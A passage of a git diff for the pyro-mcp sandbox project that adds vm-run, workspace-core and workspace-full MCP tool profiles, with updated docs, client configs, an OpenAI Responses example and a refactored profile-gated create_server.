policy, and disk tools ## OpenAI Responses API @@ -30,20 +35,14 @@ Best when: Recommended surface: -- `vm_run` -- `workspace_create(name=..., labels=...)` + `workspace_list` + `workspace_update` when the agent needs to rediscover or retag long-lived workspaces between turns -- `workspace_create(seed_path=...)` + `workspace_sync_push` + `workspace_exec` when the agent needs persistent workspace state -- `workspace_file_list` / `workspace_file_read` / `workspace_file_write` / `workspace_patch_apply` when the agent needs model-native file inspection and text edits inside one live workspace -- `workspace_create(..., secrets=...)` + `workspace_exec(..., secret_env=...)` when the workspace needs private tokens or authenticated setup -- `workspace_create(..., network_policy="egress+published-ports")` + `start_service(..., published_ports=[...])` when the host must probe one workspace service -- `workspace_diff` + `workspace_export` when the agent needs explicit baseline comparison or host-out file transfer -- `stop_workspace(...)` + `list_workspace_disk(...)` / `read_workspace_disk(...)` / `export_workspace_disk(...)` when one stopped guest-backed workspace needs offline inspection or a raw ext4 copy -- `start_service` / `list_services` / `status_service` / `logs_service` / `stop_service` when the agent needs long-running processes inside that workspace -- `open_shell(..., secret_env=...)` / `read_shell` / `write_shell` when the agent needs an interactive PTY inside that workspace +- `vm_run` for one-shot loops +- the `workspace-core` tool set for the normal persistent chat loop +- the `workspace-full` tool set only when the host explicitly needs advanced workspace capabilities Canonical example: - [examples/openai_responses_vm_run.py](../examples/openai_responses_vm_run.py) +- [examples/openai_responses_workspace_core.py](../examples/openai_responses_workspace_core.py) ## MCP Clients @@ -55,7 +54,13 @@ Best when: Recommended entrypoint: -- `pyro mcp serve` +- `pyro mcp serve --profile workspace-core` + +Profile progression: + +- `pyro mcp serve --profile vm-run` for the smallest one-shot surface +- `pyro mcp serve --profile workspace-core` for the normal persistent chat loop +- `pyro mcp serve --profile workspace-full` only when the model truly needs advanced workspace tools Starter config: diff --git a/docs/public-contract.md b/docs/public-contract.md index cd5167e..ad96936 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -82,6 +82,7 @@ Behavioral guarantees: - `pyro workspace create --seed-path PATH` seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. - `pyro workspace create --name NAME --label KEY=VALUE` attaches human-oriented discovery metadata without changing the stable `workspace_id`. - `pyro workspace create --network-policy {off,egress,egress+published-ports}` controls workspace guest networking and whether services may publish localhost ports. +- `pyro mcp serve --profile {vm-run,workspace-core,workspace-full}` narrows the model-facing MCP surface without changing runtime behavior. - `pyro workspace create --secret NAME=VALUE` and `--secret-file NAME=PATH` persist guest-only UTF-8 secrets outside `/workspace`. - `pyro workspace list` returns persisted workspaces sorted by most recent `last_activity_at`. - `pyro workspace sync push WORKSPACE_ID SOURCE_PATH [--dest WORKSPACE_PATH]` imports later host-side directory or archive content into a started workspace. @@ -125,8 +126,8 @@ Primary facade: Supported public entrypoints: -- `create_server()` -- `Pyro.create_server()` +- `create_server(profile="workspace-full")` +- `Pyro.create_server(profile="workspace-full")` - `Pyro.list_environments()` - `Pyro.pull_environment(environment)` - `Pyro.inspect_environment(environment)` @@ -176,7 +177,7 @@ Supported public entrypoints: Stable public method names: -- `create_server()` +- `create_server(profile="workspace-full")` - `list_environments()` - `pull_environment(environment)` - `inspect_environment(environment)` @@ -265,6 +266,18 @@ Behavioral defaults: ## MCP Contract +Stable MCP profiles: + +- `vm-run`: exposes only `vm_run` +- `workspace-core`: exposes `vm_run`, `workspace_create`, `workspace_list`, `workspace_update`, `workspace_status`, `workspace_sync_push`, `workspace_exec`, `workspace_logs`, `workspace_file_list`, `workspace_file_read`, `workspace_file_write`, `workspace_patch_apply`, `workspace_diff`, `workspace_export`, `workspace_reset`, and `workspace_delete` +- `workspace-full`: exposes the complete stable MCP surface below + +Behavioral defaults: + +- `pyro mcp serve` and `create_server()` default to `workspace-full`. +- `workspace-core` narrows `workspace_create` by omitting `network_policy` and `secrets`. +- `workspace-core` narrows `workspace_exec` by omitting `secret_env`. + Primary tool: - `vm_run` diff --git a/docs/roadmap/llm-chat-ergonomics.md b/docs/roadmap/llm-chat-ergonomics.md index a7d98f4..2293153 100644 --- a/docs/roadmap/llm-chat-ergonomics.md +++ b/docs/roadmap/llm-chat-ergonomics.md @@ -6,7 +6,7 @@ goal: make the core agent-workspace use cases feel trivial from a chat-driven LLM interface. -Current baseline is `3.3.0`: +Current baseline is `3.4.0`: - the stable workspace contract exists across CLI, SDK, and MCP - one-shot `pyro run` still exists as the narrow entrypoint @@ -47,7 +47,7 @@ More concretely, the model should not need to: 1. [`3.2.0` Model-Native Workspace File Ops](llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md) - Done 2. [`3.3.0` Workspace Naming And Discovery](llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md) - Done -3. [`3.4.0` Tool Profiles And Canonical Chat Flows](llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md) +3. [`3.4.0` Tool Profiles And Canonical Chat Flows](llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md) - Done 4. [`3.5.0` Chat-Friendly Shell Output](llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md) 5. [`3.6.0` Use-Case Recipes And Smoke Packs](llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md) @@ -58,6 +58,9 @@ Completed so far: - `3.3.0` added workspace names, key/value labels, `workspace list`, `workspace update`, and `last_activity_at` tracking so humans and chat-driven agents can rediscover and resume the right workspace without external notes. +- `3.4.0` added stable MCP/server tool profiles with `vm-run`, `workspace-core`, and + `workspace-full`, plus canonical profile-based OpenAI and MCP examples so chat hosts can start + narrow and widen only when needed. ## Expected Outcome diff --git a/docs/roadmap/llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md b/docs/roadmap/llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md index 50a3a9c..7db490c 100644 --- a/docs/roadmap/llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md +++ b/docs/roadmap/llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md @@ -1,6 +1,6 @@ # `3.4.0` Tool Profiles And Canonical Chat Flows -Status: Planned +Status: Done ## Goal diff --git a/examples/claude_desktop_mcp_config.json b/examples/claude_desktop_mcp_config.json index 81f0bd6..f828de0 100644 --- a/examples/claude_desktop_mcp_config.json +++ b/examples/claude_desktop_mcp_config.json @@ -2,7 +2,7 @@ "mcpServers": { "pyro": { "command": "uvx", - "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve"] + "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve", "--profile", "workspace-core"] } } } diff --git a/examples/cursor_mcp_config.json b/examples/cursor_mcp_config.json index 81f0bd6..f828de0 100644 --- a/examples/cursor_mcp_config.json +++ b/examples/cursor_mcp_config.json @@ -2,7 +2,7 @@ "mcpServers": { "pyro": { "command": "uvx", - "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve"] + "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve", "--profile", "workspace-core"] } } } diff --git a/examples/mcp_client_config.md b/examples/mcp_client_config.md index 9d47ffc..74e1ce1 100644 --- a/examples/mcp_client_config.md +++ b/examples/mcp_client_config.md @@ -9,7 +9,7 @@ Generic stdio MCP configuration using `uvx`: "mcpServers": { "pyro": { "command": "uvx", - "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve"] + "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve", "--profile", "workspace-core"] } } } @@ -22,15 +22,21 @@ If `pyro-mcp` is already installed locally, the same server can be configured wi "mcpServers": { "pyro": { "command": "pyro", - "args": ["mcp", "serve"] + "args": ["mcp", "serve", "--profile", "workspace-core"] } } } ``` -Primary tool for most agents: +Profile progression: -- `vm_run` +- `vm-run`: expose only `vm_run` +- `workspace-core`: the default persistent chat profile +- `workspace-full`: shells, services, snapshots, secrets, network policy, and disk tools + +Primary profile for most agents: + +- `workspace-core` Use lifecycle tools only when the agent needs persistent VM state across multiple tool calls. diff --git a/examples/openai_responses_workspace_core.py b/examples/openai_responses_workspace_core.py new file mode 100644 index 0000000..0ef9c27 --- /dev/null +++ b/examples/openai_responses_workspace_core.py @@ -0,0 +1,89 @@ +"""Canonical OpenAI Responses API integration centered on workspace-core. + +Requirements: +- `pip install openai` or `uv add openai` +- `OPENAI_API_KEY` + +This example mirrors the `workspace-core` MCP profile by deriving tool schemas +from `Pyro.create_server(profile="workspace-core")` and dispatching tool calls +back through that same profiled server. +""" + +from __future__ import annotations + +import asyncio +import json +import os +from typing import Any, cast + +from pyro_mcp import Pyro + +DEFAULT_MODEL = "gpt-5" + + +def _tool_to_openai(tool: Any) -> dict[str, Any]: + return { + "type": "function", + "name": str(tool.name), + "description": str(getattr(tool, "description", "") or ""), + "strict": True, + "parameters": dict(tool.inputSchema), + } + + +def _extract_structured(raw_result: object) -> dict[str, Any]: + if not isinstance(raw_result, tuple) or len(raw_result) != 2: + raise TypeError("unexpected call_tool result shape") + _, structured = raw_result + if not isinstance(structured, dict): + raise TypeError("expected structured dictionary result") + return cast(dict[str, Any], structured) + + +async def run_openai_workspace_core_example(*, prompt: str, model: str = DEFAULT_MODEL) -> str: + from openai import OpenAI # type: ignore[import-not-found] + + pyro = Pyro() + server = pyro.create_server(profile="workspace-core") + tools = [_tool_to_openai(tool) for tool in await server.list_tools()] + client = OpenAI() + input_items: list[dict[str, Any]] = [{"role": "user", "content": prompt}] + + while True: + response = client.responses.create( + model=model, + input=input_items, + tools=tools, + ) + input_items.extend(response.output) + + tool_calls = [item for item in response.output if item.type == "function_call"] + if not tool_calls: + return str(response.output_text) + + for tool_call in tool_calls: + result = _extract_structured( + await server.call_tool(tool_call.name, json.loads(tool_call.arguments)) + ) + input_items.append( + { + "type": "function_call_output", + "call_id": tool_call.call_id, + "output": json.dumps(result, sort_keys=True), + } + ) + + +def main() -> None: + model = os.environ.get("OPENAI_MODEL", DEFAULT_MODEL) + prompt = ( + "Use the workspace-core tools to create a Debian 12 workspace named " + "`chat-fix`, write `app.py` with `print(\"fixed\")`, run it with " + "`python3 app.py`, export the file to `./app.py`, then delete the workspace. " + "Do not use one-shot vm_run for this request." + ) + print(asyncio.run(run_openai_workspace_core_example(prompt=prompt, model=model))) + + +if __name__ == "__main__": + main() diff --git a/pyproject.toml b/pyproject.toml index 81c0329..ff5944a 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "3.3.0" +version = "3.4.0" description = "Stable Firecracker workspaces, one-shot sandboxes, and MCP tools for coding agents." readme = "README.md" license = { file = "LICENSE" } diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index 28ba252..df7f0a4 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -3,10 +3,16 @@ from __future__ import annotations from pathlib import Path -from typing import Any +from typing import Any, Literal, cast from mcp.server.fastmcp import FastMCP +from pyro_mcp.contract import ( + PUBLIC_MCP_PROFILES, + PUBLIC_MCP_VM_RUN_PROFILE_TOOLS, + PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS, + PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS, +) from pyro_mcp.vm_manager import ( DEFAULT_ALLOW_HOST_COMPAT, DEFAULT_MEM_MIB, @@ -17,6 +23,21 @@ from pyro_mcp.vm_manager import ( VmManager, ) +McpToolProfile = Literal["vm-run", "workspace-core", "workspace-full"] + +_PROFILE_TOOLS: dict[str, tuple[str, ...]] = { + "vm-run": PUBLIC_MCP_VM_RUN_PROFILE_TOOLS, + "workspace-core": PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS, + "workspace-full": PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS, +} + + +def _validate_mcp_profile(profile: str) -> McpToolProfile: + if profile not in PUBLIC_MCP_PROFILES: + expected = ", ".join(PUBLIC_MCP_PROFILES) + raise ValueError(f"unknown MCP profile {profile!r}; expected one of: {expected}") + return cast(McpToolProfile, profile) + class Pyro: """High-level facade over the ephemeral VM runtime.""" @@ -437,440 +458,580 @@ class Pyro: allow_host_compat=allow_host_compat, ) - def create_server(self) -> FastMCP: + def create_server(self, *, profile: McpToolProfile = "workspace-full") -> FastMCP: + normalized_profile = _validate_mcp_profile(profile) + enabled_tools = set(_PROFILE_TOOLS[normalized_profile]) server = FastMCP(name="pyro_mcp") - @server.tool() - async def vm_run( - environment: str, - command: str, - vcpu_count: int = DEFAULT_VCPU_COUNT, - mem_mib: int = DEFAULT_MEM_MIB, - timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, - ttl_seconds: int = DEFAULT_TTL_SECONDS, - network: bool = False, - allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, - ) -> dict[str, Any]: - """Create, start, execute, and clean up an ephemeral VM.""" - return self.run_in_vm( - environment=environment, - command=command, - vcpu_count=vcpu_count, - mem_mib=mem_mib, - timeout_seconds=timeout_seconds, - ttl_seconds=ttl_seconds, - network=network, - allow_host_compat=allow_host_compat, - ) + def _enabled(tool_name: str) -> bool: + return tool_name in enabled_tools - @server.tool() - async def vm_list_environments() -> list[dict[str, object]]: - """List curated Linux environments and installation status.""" - return self.list_environments() + if _enabled("vm_run"): - @server.tool() - async def vm_create( - environment: str, - vcpu_count: int = DEFAULT_VCPU_COUNT, - mem_mib: int = DEFAULT_MEM_MIB, - ttl_seconds: int = DEFAULT_TTL_SECONDS, - network: bool = False, - allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, - ) -> dict[str, Any]: - """Create an ephemeral VM record with environment and resource sizing.""" - return self.create_vm( - environment=environment, - vcpu_count=vcpu_count, - mem_mib=mem_mib, - ttl_seconds=ttl_seconds, - network=network, - allow_host_compat=allow_host_compat, - ) + @server.tool() + async def vm_run( + environment: str, + command: str, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + ttl_seconds: int = DEFAULT_TTL_SECONDS, + network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + ) -> dict[str, Any]: + """Create, start, execute, and clean up an ephemeral VM.""" + return self.run_in_vm( + environment=environment, + command=command, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + timeout_seconds=timeout_seconds, + ttl_seconds=ttl_seconds, + network=network, + allow_host_compat=allow_host_compat, + ) - @server.tool() - async def vm_start(vm_id: str) -> dict[str, Any]: - """Start a created VM and transition it into a command-ready state.""" - return self.start_vm(vm_id) + if _enabled("vm_list_environments"): - @server.tool() - async def vm_exec(vm_id: str, command: str, timeout_seconds: int = 30) -> dict[str, Any]: - """Run one non-interactive command and auto-clean the VM.""" - return self.exec_vm(vm_id, command=command, timeout_seconds=timeout_seconds) + @server.tool() + async def vm_list_environments() -> list[dict[str, object]]: + """List curated Linux environments and installation status.""" + return self.list_environments() - @server.tool() - async def vm_stop(vm_id: str) -> dict[str, Any]: - """Stop a running VM.""" - return self.stop_vm(vm_id) + if _enabled("vm_create"): - @server.tool() - async def vm_delete(vm_id: str) -> dict[str, Any]: - """Delete a VM and its runtime artifacts.""" - return self.delete_vm(vm_id) + @server.tool() + async def vm_create( + environment: str, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + ttl_seconds: int = DEFAULT_TTL_SECONDS, + network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + ) -> dict[str, Any]: + """Create an ephemeral VM record with environment and resource sizing.""" + return self.create_vm( + environment=environment, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + ttl_seconds=ttl_seconds, + network=network, + allow_host_compat=allow_host_compat, + ) - @server.tool() - async def vm_status(vm_id: str) -> dict[str, Any]: - """Get the current state and metadata for a VM.""" - return self.status_vm(vm_id) + if _enabled("vm_start"): - @server.tool() - async def vm_network_info(vm_id: str) -> dict[str, Any]: - """Get the current network configuration assigned to a VM.""" - return self.network_info_vm(vm_id) + @server.tool() + async def vm_start(vm_id: str) -> dict[str, Any]: + """Start a created VM and transition it into a command-ready state.""" + return self.start_vm(vm_id) - @server.tool() - async def vm_reap_expired() -> dict[str, Any]: - """Delete VMs whose TTL has expired.""" - return self.reap_expired() + if _enabled("vm_exec"): - @server.tool() - async def workspace_create( - environment: str, - vcpu_count: int = DEFAULT_VCPU_COUNT, - mem_mib: int = DEFAULT_MEM_MIB, - ttl_seconds: int = DEFAULT_TTL_SECONDS, - network_policy: str = DEFAULT_WORKSPACE_NETWORK_POLICY, - allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, - seed_path: str | None = None, - secrets: list[dict[str, str]] | None = None, - name: str | None = None, - labels: dict[str, str] | None = None, - ) -> dict[str, Any]: - """Create and start a persistent workspace.""" - return self.create_workspace( - environment=environment, - vcpu_count=vcpu_count, - mem_mib=mem_mib, - ttl_seconds=ttl_seconds, - network_policy=network_policy, - allow_host_compat=allow_host_compat, - seed_path=seed_path, - secrets=secrets, - name=name, - labels=labels, - ) + @server.tool() + async def vm_exec( + vm_id: str, + command: str, + timeout_seconds: int = 30, + ) -> dict[str, Any]: + """Run one non-interactive command and auto-clean the VM.""" + return self.exec_vm(vm_id, command=command, timeout_seconds=timeout_seconds) - @server.tool() - async def workspace_list() -> dict[str, Any]: - """List persisted workspaces with summary metadata.""" - return self.list_workspaces() + if _enabled("vm_stop"): - @server.tool() - async def workspace_update( - workspace_id: str, - name: str | None = None, - clear_name: bool = False, - labels: dict[str, str] | None = None, - clear_labels: list[str] | None = None, - ) -> dict[str, Any]: - """Update optional workspace name and labels.""" - return self.update_workspace( - workspace_id, - name=name, - clear_name=clear_name, - labels=labels, - clear_labels=clear_labels, - ) + @server.tool() + async def vm_stop(vm_id: str) -> dict[str, Any]: + """Stop a running VM.""" + return self.stop_vm(vm_id) - @server.tool() - async def workspace_exec( - workspace_id: str, - command: str, - timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, - secret_env: dict[str, str] | None = None, - ) -> dict[str, Any]: - """Run one command inside an existing persistent workspace.""" - return self.exec_workspace( - workspace_id, - command=command, - timeout_seconds=timeout_seconds, - secret_env=secret_env, - ) + if _enabled("vm_delete"): - @server.tool() - async def workspace_sync_push( - workspace_id: str, - source_path: str, - dest: str = "/workspace", - ) -> dict[str, Any]: - """Push host content into the persistent `/workspace` of a started workspace.""" - return self.push_workspace_sync(workspace_id, source_path=source_path, dest=dest) + @server.tool() + async def vm_delete(vm_id: str) -> dict[str, Any]: + """Delete a VM and its runtime artifacts.""" + return self.delete_vm(vm_id) - @server.tool() - async def workspace_status(workspace_id: str) -> dict[str, Any]: - """Inspect workspace state and latest command metadata.""" - return self.status_workspace(workspace_id) + if _enabled("vm_status"): - @server.tool() - async def workspace_stop(workspace_id: str) -> dict[str, Any]: - """Stop one persistent workspace without resetting `/workspace`.""" - return self.stop_workspace(workspace_id) + @server.tool() + async def vm_status(vm_id: str) -> dict[str, Any]: + """Get the current state and metadata for a VM.""" + return self.status_vm(vm_id) - @server.tool() - async def workspace_start(workspace_id: str) -> dict[str, Any]: - """Start one stopped persistent workspace without resetting `/workspace`.""" - return self.start_workspace(workspace_id) + if _enabled("vm_network_info"): - @server.tool() - async def workspace_logs(workspace_id: str) -> dict[str, Any]: - """Return persisted command history for one workspace.""" - return self.logs_workspace(workspace_id) + @server.tool() + async def vm_network_info(vm_id: str) -> dict[str, Any]: + """Get the current network configuration assigned to a VM.""" + return self.network_info_vm(vm_id) - @server.tool() - async def workspace_export( - workspace_id: str, - path: str, - output_path: str, - ) -> dict[str, Any]: - """Export one file or directory from `/workspace` back to the host.""" - return self.export_workspace(workspace_id, path, output_path=output_path) + if _enabled("vm_reap_expired"): - @server.tool() - async def workspace_diff(workspace_id: str) -> dict[str, Any]: - """Compare `/workspace` to the immutable create-time baseline.""" - return self.diff_workspace(workspace_id) + @server.tool() + async def vm_reap_expired() -> dict[str, Any]: + """Delete VMs whose TTL has expired.""" + return self.reap_expired() - @server.tool() - async def workspace_file_list( - workspace_id: str, - path: str = "/workspace", - recursive: bool = False, - ) -> dict[str, Any]: - """List metadata for files and directories under one live workspace path.""" - return self.list_workspace_files( - workspace_id, - path=path, - recursive=recursive, - ) + if _enabled("workspace_create"): + if normalized_profile == "workspace-core": - @server.tool() - async def workspace_file_read( - workspace_id: str, - path: str, - max_bytes: int = 65536, - ) -> dict[str, Any]: - """Read one regular text file from a live workspace path.""" - return self.read_workspace_file( - workspace_id, - path, - max_bytes=max_bytes, - ) + @server.tool(name="workspace_create") + async def workspace_create_core( + environment: str, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + ttl_seconds: int = DEFAULT_TTL_SECONDS, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + seed_path: str | None = None, + name: str | None = None, + labels: dict[str, str] | None = None, + ) -> dict[str, Any]: + """Create and start a persistent workspace.""" + return self.create_workspace( + environment=environment, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + ttl_seconds=ttl_seconds, + network_policy=DEFAULT_WORKSPACE_NETWORK_POLICY, + allow_host_compat=allow_host_compat, + seed_path=seed_path, + secrets=None, + name=name, + labels=labels, + ) - @server.tool() - async def workspace_file_write( - workspace_id: str, - path: str, - text: str, - ) -> dict[str, Any]: - """Create or replace one regular text file under `/workspace`.""" - return self.write_workspace_file( - workspace_id, - path, - text=text, - ) + else: - @server.tool() - async def workspace_patch_apply( - workspace_id: str, - patch: str, - ) -> dict[str, Any]: - """Apply a unified text patch inside one live workspace.""" - return self.apply_workspace_patch( - workspace_id, - patch=patch, - ) + @server.tool(name="workspace_create") + async def workspace_create_full( + environment: str, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + ttl_seconds: int = DEFAULT_TTL_SECONDS, + network_policy: str = DEFAULT_WORKSPACE_NETWORK_POLICY, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + seed_path: str | None = None, + secrets: list[dict[str, str]] | None = None, + name: str | None = None, + labels: dict[str, str] | None = None, + ) -> dict[str, Any]: + """Create and start a persistent workspace.""" + return self.create_workspace( + environment=environment, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + ttl_seconds=ttl_seconds, + network_policy=network_policy, + allow_host_compat=allow_host_compat, + seed_path=seed_path, + secrets=secrets, + name=name, + labels=labels, + ) - @server.tool() - async def workspace_disk_export( - workspace_id: str, - output_path: str, - ) -> dict[str, Any]: - """Export the raw stopped workspace rootfs image to one host path.""" - return self.export_workspace_disk(workspace_id, output_path=output_path) + if _enabled("workspace_list"): - @server.tool() - async def workspace_disk_list( - workspace_id: str, - path: str = "/workspace", - recursive: bool = False, - ) -> dict[str, Any]: - """Inspect one stopped workspace rootfs path without booting the guest.""" - return self.list_workspace_disk( - workspace_id, - path=path, - recursive=recursive, - ) + @server.tool() + async def workspace_list() -> dict[str, Any]: + """List persisted workspaces with summary metadata.""" + return self.list_workspaces() - @server.tool() - async def workspace_disk_read( - workspace_id: str, - path: str, - max_bytes: int = 65536, - ) -> dict[str, Any]: - """Read one regular file from a stopped workspace rootfs without booting the guest.""" - return self.read_workspace_disk( - workspace_id, - path, - max_bytes=max_bytes, - ) + if _enabled("workspace_update"): - @server.tool() - async def snapshot_create(workspace_id: str, snapshot_name: str) -> dict[str, Any]: - """Create one named workspace snapshot from the current `/workspace` tree.""" - return self.create_snapshot(workspace_id, snapshot_name) + @server.tool() + async def workspace_update( + workspace_id: str, + name: str | None = None, + clear_name: bool = False, + labels: dict[str, str] | None = None, + clear_labels: list[str] | None = None, + ) -> dict[str, Any]: + """Update optional workspace name and labels.""" + return self.update_workspace( + workspace_id, + name=name, + clear_name=clear_name, + labels=labels, + clear_labels=clear_labels, + ) - @server.tool() - async def snapshot_list(workspace_id: str) -> dict[str, Any]: - """List the baseline plus named snapshots for one workspace.""" - return self.list_snapshots(workspace_id) + if _enabled("workspace_exec"): + if normalized_profile == "workspace-core": - @server.tool() - async def snapshot_delete(workspace_id: str, snapshot_name: str) -> dict[str, Any]: - """Delete one named snapshot from a workspace.""" - return self.delete_snapshot(workspace_id, snapshot_name) + @server.tool(name="workspace_exec") + async def workspace_exec_core( + workspace_id: str, + command: str, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + ) -> dict[str, Any]: + """Run one command inside an existing persistent workspace.""" + return self.exec_workspace( + workspace_id, + command=command, + timeout_seconds=timeout_seconds, + secret_env=None, + ) - @server.tool() - async def workspace_reset( - workspace_id: str, - snapshot: str = "baseline", - ) -> dict[str, Any]: - """Recreate a workspace and restore `/workspace` from baseline or one named snapshot.""" - return self.reset_workspace(workspace_id, snapshot=snapshot) + else: - @server.tool() - async def shell_open( - workspace_id: str, - cwd: str = "/workspace", - cols: int = 120, - rows: int = 30, - secret_env: dict[str, str] | None = None, - ) -> dict[str, Any]: - """Open a persistent interactive shell inside one workspace.""" - return self.open_shell( - workspace_id, - cwd=cwd, - cols=cols, - rows=rows, - secret_env=secret_env, - ) + @server.tool(name="workspace_exec") + async def workspace_exec_full( + workspace_id: str, + command: str, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + """Run one command inside an existing persistent workspace.""" + return self.exec_workspace( + workspace_id, + command=command, + timeout_seconds=timeout_seconds, + secret_env=secret_env, + ) - @server.tool() - async def shell_read( - workspace_id: str, - shell_id: str, - cursor: int = 0, - max_chars: int = 65536, - ) -> dict[str, Any]: - """Read merged PTY output from a workspace shell.""" - return self.read_shell( - workspace_id, - shell_id, - cursor=cursor, - max_chars=max_chars, - ) + if _enabled("workspace_sync_push"): - @server.tool() - async def shell_write( - workspace_id: str, - shell_id: str, - input: str, - append_newline: bool = True, - ) -> dict[str, Any]: - """Write text input to a persistent workspace shell.""" - return self.write_shell( - workspace_id, - shell_id, - input=input, - append_newline=append_newline, - ) + @server.tool() + async def workspace_sync_push( + workspace_id: str, + source_path: str, + dest: str = "/workspace", + ) -> dict[str, Any]: + """Push host content into the persistent `/workspace` of a started workspace.""" + return self.push_workspace_sync(workspace_id, source_path=source_path, dest=dest) - @server.tool() - async def shell_signal( - workspace_id: str, - shell_id: str, - signal_name: str = "INT", - ) -> dict[str, Any]: - """Send a signal to the shell process group.""" - return self.signal_shell( - workspace_id, - shell_id, - signal_name=signal_name, - ) + if _enabled("workspace_status"): - @server.tool() - async def shell_close(workspace_id: str, shell_id: str) -> dict[str, Any]: - """Close a persistent workspace shell.""" - return self.close_shell(workspace_id, shell_id) + @server.tool() + async def workspace_status(workspace_id: str) -> dict[str, Any]: + """Inspect workspace state and latest command metadata.""" + return self.status_workspace(workspace_id) - @server.tool() - async def service_start( - workspace_id: str, - service_name: str, - command: str, - cwd: str = "/workspace", - ready_file: str | None = None, - ready_tcp: str | None = None, - ready_http: str | None = None, - ready_command: str | None = None, - ready_timeout_seconds: int = 30, - ready_interval_ms: int = 500, - secret_env: dict[str, str] | None = None, - published_ports: list[dict[str, int | None]] | None = None, - ) -> dict[str, Any]: - """Start a named long-running service inside a workspace.""" - readiness: dict[str, Any] | None = None - if ready_file is not None: - readiness = {"type": "file", "path": ready_file} - elif ready_tcp is not None: - readiness = {"type": "tcp", "address": ready_tcp} - elif ready_http is not None: - readiness = {"type": "http", "url": ready_http} - elif ready_command is not None: - readiness = {"type": "command", "command": ready_command} - return self.start_service( - workspace_id, - service_name, - command=command, - cwd=cwd, - readiness=readiness, - ready_timeout_seconds=ready_timeout_seconds, - ready_interval_ms=ready_interval_ms, - secret_env=secret_env, - published_ports=published_ports, - ) + if _enabled("workspace_stop"): - @server.tool() - async def service_list(workspace_id: str) -> dict[str, Any]: - """List named services in one workspace.""" - return self.list_services(workspace_id) + @server.tool() + async def workspace_stop(workspace_id: str) -> dict[str, Any]: + """Stop one persistent workspace without resetting `/workspace`.""" + return self.stop_workspace(workspace_id) - @server.tool() - async def service_status(workspace_id: str, service_name: str) -> dict[str, Any]: - """Inspect one named workspace service.""" - return self.status_service(workspace_id, service_name) + if _enabled("workspace_start"): - @server.tool() - async def service_logs( - workspace_id: str, - service_name: str, - tail_lines: int = 200, - all: bool = False, - ) -> dict[str, Any]: - """Read persisted stdout/stderr for one workspace service.""" - return self.logs_service( - workspace_id, - service_name, - tail_lines=tail_lines, - all=all, - ) + @server.tool() + async def workspace_start(workspace_id: str) -> dict[str, Any]: + """Start one stopped persistent workspace without resetting `/workspace`.""" + return self.start_workspace(workspace_id) - @server.tool() - async def service_stop(workspace_id: str, service_name: str) -> dict[str, Any]: - """Stop one running service in a workspace.""" - return self.stop_service(workspace_id, service_name) + if _enabled("workspace_logs"): - @server.tool() - async def workspace_delete(workspace_id: str) -> dict[str, Any]: - """Delete a persistent workspace and its backing sandbox.""" - return self.delete_workspace(workspace_id) + @server.tool() + async def workspace_logs(workspace_id: str) -> dict[str, Any]: + """Return persisted command history for one workspace.""" + return self.logs_workspace(workspace_id) + + if _enabled("workspace_export"): + + @server.tool() + async def workspace_export( + workspace_id: str, + path: str, + output_path: str, + ) -> dict[str, Any]: + """Export one file or directory from `/workspace` back to the host.""" + return self.export_workspace(workspace_id, path, output_path=output_path) + + if _enabled("workspace_diff"): + + @server.tool() + async def workspace_diff(workspace_id: str) -> dict[str, Any]: + """Compare `/workspace` to the immutable create-time baseline.""" + return self.diff_workspace(workspace_id) + + if _enabled("workspace_file_list"): + + @server.tool() + async def workspace_file_list( + workspace_id: str, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + """List metadata for files and directories under one live workspace path.""" + return self.list_workspace_files( + workspace_id, + path=path, + recursive=recursive, + ) + + if 